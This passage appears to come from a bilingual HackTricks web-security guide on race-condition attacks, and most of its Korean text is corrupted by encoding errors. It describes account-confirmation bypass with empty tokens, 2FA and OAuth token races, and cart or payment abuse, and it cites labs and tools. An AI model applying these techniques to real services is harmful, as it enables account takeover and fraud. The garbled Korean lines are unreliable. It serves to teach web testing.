- Keying: ์ฑ๊ณต์ ์ธ ๊ณต๊ฒฉ์ ๋ณดํต ๋์ผํ ์๋ณ์(e.g., username ๋๋ reset token)๋ฅผ ํค๋ก ํ๋ ์์ ์์ ๋ฐ์ํฉ๋๋ค.
- Conduct Initial Probing
- Test the identified endpoints with race condition attacks, observing for any deviations from expected outcomes. Unexpected responses or changes in application behavior can signal a vulnerability.
- Conduct Initial Probing
- ์๋ณํ ์๋ํฌ์ธํธ์ ๋ํด race condition ๊ณต๊ฒฉ์ ์๋ํ์ฌ ๊ธฐ๋ ๊ฒฐ๊ณผ์์ ์ฐจ์ด๋ฅผ ๊ด์ฐฐํ์ธ์. ์๊ธฐ์น ์์ ์๋ต์ด๋ ์ ํ๋ฆฌ์ผ์ด์ ๋์์ ๋ณํ๋ vulnerability๋ฅผ ์์ฌํ ์ ์์ต๋๋ค.
- Demonstrate the Vulnerability
- Narrow down the attack to the minimal number of requests needed to exploit the vulnerability, often just two. This step might require multiple attempts or automation due to the precise timing involved.
- Demonstrate the Vulnerability
- ๊ณต๊ฒฉ์ ์ ์ฉํ๋ ๋ฐ ํ์ํ ์ต์ ์์ฒญ ์(์ข ์ข ๋จ ๋ ๊ฑด)๋ก ๊ณต๊ฒฉ์ ์ขํ์ธ์. ์ด ๋จ๊ณ๋ ์ ๋ฐํ ํ์ด๋ฐ ๋๋ฌธ์ ์ฌ๋ฌ ๋ฒ์ ์๋๋ ์๋ํ๊ฐ ํ์ํ ์ ์์ต๋๋ค.
Time Sensitive Attacks
Precision in timing requests can reveal vulnerabilities, especially when predictable methods like timestamps are used for security tokens. For instance, generating password reset tokens based on timestamps could allow identical tokens for simultaneous requests.
์๊ฐ์ ๋ฏผ๊ฐํ ์์ฒญ์ ์ ๋ฐํ ํ์ด๋ฐ์ vulnerabilities๋ฅผ ๋๋ฌ๋ผ ์ ์์ต๋๋ค. ํนํ ํ์์คํฌํ์ ๊ฐ์ ์์ธก ๊ฐ๋ฅํ ๋ฐฉ๋ฒ์ด ๋ณด์ ํ ํฐ์ ์ฌ์ฉ๋ ๋ ๊ทธ๋ ์ต๋๋ค. ์๋ฅผ ๋ค์ด, password reset ํ ํฐ์ ํ์์คํฌํ ๊ธฐ๋ฐ์ผ๋ก ์์ฑํ๋ฉด ๋์์ ์์ฒญํ ๊ฒฝ์ฐ ๋์ผํ ํ ํฐ์ด ์์ฑ๋ ์ ์์ต๋๋ค.
To Exploit:
- Use precise timing, like a single packet attack, to make concurrent password reset requests. Identical tokens indicate a vulnerability.
์ ์ฉ ๋ฐฉ๋ฒ:
- ๋จ์ผ ํจํท ๊ณต๊ฒฉ์ฒ๋ผ ์ ๋ฐํ ํ์ด๋ฐ์ ์ฌ์ฉํด ๋์ password reset ์์ฒญ์ ๋ณด๋ด์ธ์. ๋์ผํ ํ ํฐ์ด ๋ฐํ๋๋ฉด ์ทจ์ฝ์ ์ด ์์์ ์๋ฏธํฉ๋๋ค.
Example:
- Request two password reset tokens at the same time and compare them. Matching tokens suggest a flaw in token generation.
์์:
- ๋์์ ๋ ๊ฐ์ password reset ํ ํฐ์ ์์ฒญํ๊ณ ๋น๊ตํ์ธ์. ํ ํฐ์ด ์ผ์นํ๋ฉด ํ ํฐ ์์ฑ์ ๊ฒฐํจ์ด ์์์ ์์ฌํฉ๋๋ค.
Check this PortSwigger Lab to try this.
์ด๊ฑธ ์ง์ ํด๋ณด๋ ค๋ฉด PortSwigger Lab๋ฅผ ํ์ธํ์ธ์.
Hidden substates case studies
Pay & add an Item
Check this PortSwigger Lab to see how to pay in a store and add an extra item you that wonโt need to pay for it.
Hidden substates case studies
Pay & add an Item
์คํ ์ด์์ **๊ฒฐ์ (pay)**๋ฅผ ์งํํ๋ฉด์ ๋์์ ์ถ๊ฐ ํญ๋ชฉ์ **์ถ๊ฐ(add an extra)**ํ์ฌ ๊ทธ ํญ๋ชฉ์ ๋ํ ๊ฒฐ์ ๋ฅผ ํ์ง ์์๋ ๋๋ ๋ฐฉ๋ฒ์ ๋ณด๋ ค๋ฉด PortSwigger Lab์ ํ์ธํ์ธ์.
Confirm other emails
The idea is to verify an email address and change it to a different one at the same time to find out if the platform verifies the new one changed.
Confirm other emails
์์ด๋์ด๋ **์ด๋ฉ์ผ ์ฃผ์๋ฅผ ๊ฒ์ฆ(verify)**ํ๊ณ ๋์์ ๋ค๋ฅธ ์ฃผ์๋ก ๋ณ๊ฒฝ(change)ํ์ฌ ํ๋ซํผ์ด ๋ณ๊ฒฝ๋ ์ ์ฃผ์๋ฅผ ๊ฒ์ฆํ๋์ง ํ์ธํ๋ ๊ฒ์ ๋๋ค.
Change email to 2 emails addresses Cookie based
According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.
Change email to 2 emails addresses Cookie based
this research์ ๋ฐ๋ฅด๋ฉด Gitlab์ ์ด ๋ฐฉ๋ฒ์ผ๋ก ํ์ทจ์ ์ทจ์ฝํ๋๋ฐ, ํ ์ด๋ฉ์ผ์ email verification token์ ๋ค๋ฅธ ์ด๋ฉ์ผ๋ก **์ ์ก(send)**ํ ๊ฐ๋ฅ์ฑ์ด ์์๊ธฐ ๋๋ฌธ์ ๋๋ค.
Check this PortSwigger Lab to try this.
์ด๊ฒ์ ์๋ํด๋ณด๋ ค๋ฉด PortSwigger Lab๋ฅผ ํ์ธํ์ธ์.
Hidden Database states / Confirmation Bypass
If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.
Therefore registering an account and sending several requests with an empty token (token= or token[]= or any other variation) to confirm the account right away could allow to confirm an account where you donโt control the email.
Check this PortSwigger Lab to try this.
Hidden Database states / Confirmation Bypass
๋ ๊ฐ์ ์๋ก ๋ค๋ฅธ ์ฐ๊ธฐ ์์ (2 different writes)์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค(database) ๋ด๋ถ์ ์ ๋ณด๋ฅผ **์ถ๊ฐ(add)**ํ๋ ๋ฐ ์ฌ์ฉ๋ ๊ฒฝ์ฐ, ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฒซ ๋ฒ์งธ ๋ฐ์ดํฐ๋ง ๊ธฐ๋ก๋ ์งง์ ์๊ฐ์ด ์กด์ฌํฉ๋๋ค. ์๋ฅผ ๋ค์ด ์ฌ์ฉ์ ์์ฑ ์ username๊ณผ password๊ฐ ๋จผ์ **์ฐ๊ธฐ(write)**๋๊ณ ๊ทธ ๋ค์์ ์๋ก ์์ฑ๋ ๊ณ์ ์ ํ์ธํ๋ token์ด ๊ธฐ๋ก๋ ์ ์์ต๋๋ค. ์ด๋ก ์ธํด ์ ๊น ๋์ ๊ณ์ ํ์ธ์ฉ token์ด null์ธ ์ํ๊ฐ ๋ฉ๋๋ค.
๋ฐ๋ผ์ ๊ณ์ ์ ๋ฑ๋กํ ํ ์ฆ์ ๋น token(token= ๋๋ token[]= ๋๋ ๋ค๋ฅธ ๋ณํ`)์ผ๋ก ์ฌ๋ฌ ์์ฒญ์ ๋ณด๋ด์ด ๊ณ์ ์ ํ์ธ(confirm)ํ๋ฉด ๋ณธ์ธ์ด ์ ์ดํ์ง ์๋ ์ด๋ฉ์ผ๋ก๋ ๊ณ์ ์ด ํ์ธ๋ ์ ์์ต๋๋ค.
์ด๊ฒ์ ์๋ํด๋ณด๋ ค๋ฉด PortSwigger Lab๋ฅผ ํ์ธํ์ธ์.
Bypass 2FA
The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:
Bypass 2FA
๋ค์ ์์ฌ ์ฝ๋๋ session์ด ์์ฑ๋๋ ๋์ ์์ฃผ ์งง์ ์๊ฐ ๋์ 2FA๊ฐ ๊ฐ์ ๋์ง ์๋(2FA is not enforced) ์ํ๊ฐ ๋์ด race condition์ ์ทจ์ฝํฉ๋๋ค:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 ์๊ตฌ ์ง์์ฑ
There are several OAUth providers. ์ด๋ฌํ ์๋น์ค๋ ์ ํ๋ฆฌ์ผ์ด์
์ ์์ฑํ๊ณ ์ ๊ณต์๊ฐ ๋ฑ๋กํ ์ฌ์ฉ์๋ฅผ ์ธ์ฆํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด๋ฅผ ์ํด client๋ ๋น์ ์ ์ ํ๋ฆฌ์ผ์ด์
์ด OAUth provider ๋ด์ ์ผ๋ถ ๋ฐ์ดํฐ์ ์ ๊ทผํ๋๋ก ํ์ฉํด์ผ ํฉ๋๋ค.
์ฆ, ์ฌ๊ธฐ๊น์ง๋ google/linkedin/github ๋ฑ์ผ๋ก ํ๋ ์ผ๋ฐ์ ์ธ ๋ก๊ทธ์ธ์ผ๋ก, โApplication
Race Condition in authorization_code
๋ฌธ์ ๋ ์ฌ์ฉ์๊ฐ ์ด๋ฅผ ์๋ฝํ๋ฉด ์๋์ผ๋ก ์
์ฑ ์ ํ๋ฆฌ์ผ์ด์
์ **authorization_code**๊ฐ ์ ์ก๋๋ ์์ ์ ๋ฐ์ํฉ๋๋ค. ์ด ์ ํ๋ฆฌ์ผ์ด์
์ OAUth ์๋น์ค ์ ๊ณต์์์ Race Condition์ ์
์ฉํด ํด๋น **authorization_code**๋ก๋ถํฐ ํ๋ ์ด์์ AT/RT(์ธ์ฆ ํ ํฐ/๋ฆฌํ๋ ์ ํ ํฐ)๋ฅผ ์์ฑํฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉ์๊ฐ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ฐ์ดํฐ ์ ๊ทผ์ ํ์ฉํ ์ฌ์ค์ ์
์ฉํด ์ฌ๋ฌ ๊ณ์ ์ ์์ฑํฉ๋๋ค. ์ดํ ์ฌ์ฉ์๊ฐ ์ ํ๋ฆฌ์ผ์ด์
์ ์ ๊ทผ์ ์ทจ์ํด๋ ํ ์์ AT/RT๋ ์ญ์ ๋์ง๋ง, ๋ค๋ฅธ ํ ํฐ๋ค์ ์ฌ์ ํ ์ ํจํ ์ํ๋ก ๋จ์ ์ ์์ต๋๋ค.
Race Condition in Refresh Token
์ ํจํ RT๋ฅผ ํ๋ํ ๋ค์๋ ์ด๋ฅผ ์ ์ฉํด ์ฌ๋ฌ ๊ฐ์ AT/RT๋ฅผ ์์ฑํ๋ ค ์๋ํ ์ ์์ผ๋ฉฐ, ์ฌ์ฉ์๊ฐ ์ ์ฑ ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ถํ์ ์ทจ์ํด๋ ์ฌ๋ฌ RT๊ฐ ์ฌ์ ํ ์ ํจํ ์ํ๋ก ๋จ์์์ ์ ์์ต๋๋ค.
RC in WebSockets
- WS_RaceCondition_PoC์์๋ Java๋ก ์์ฑ๋ PoC๋ฅผ ํตํด ์น์์ผ ๋ฉ์์ง๋ฅผ ๋ณ๋ ฌ๋ก ์ ์กํ์ฌ WebSockets์์๋ Race Conditions๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
- Burp์ WebSocket Turbo Intruder์์๋ THREADED ์์ง์ ์ฌ์ฉํด ๋ค์์ WS ์ฐ๊ฒฐ์ ์์ฑํ๊ณ ํ์ด๋ก๋๋ฅผ ๋ณ๋ ฌ๋ก ์ ์กํ ์ ์์ต๋๋ค. ๊ณต์ ์์ ์์ ์์ํด ๋์์ฑ ์ค์ (
config()โ ์ค๋ ๋ ์)์ ์กฐ์ ํ์ธ์; WS ํธ๋ค๋ฌ ๊ฐ ์๋ฒ ์ธก ์ํ๋ฅผ ๊ฒฝํฉํ ๋ ๋จ์ผ ์ฐ๊ฒฐ์์ ๋ฐฐ์นํ๋ ๊ฒ๋ณด๋ค ์ด ๋ฐฉ๋ฒ์ด ๋ ์ ๋ขฐ์ฑ ์๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์์ : RaceConditionExample.py.
References
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder โ GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 lastโframe sync) โ Go package docs
- PacketSprinter: Simplifying HTTP/2 SingleโPacket Testing (Route Zero blog)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


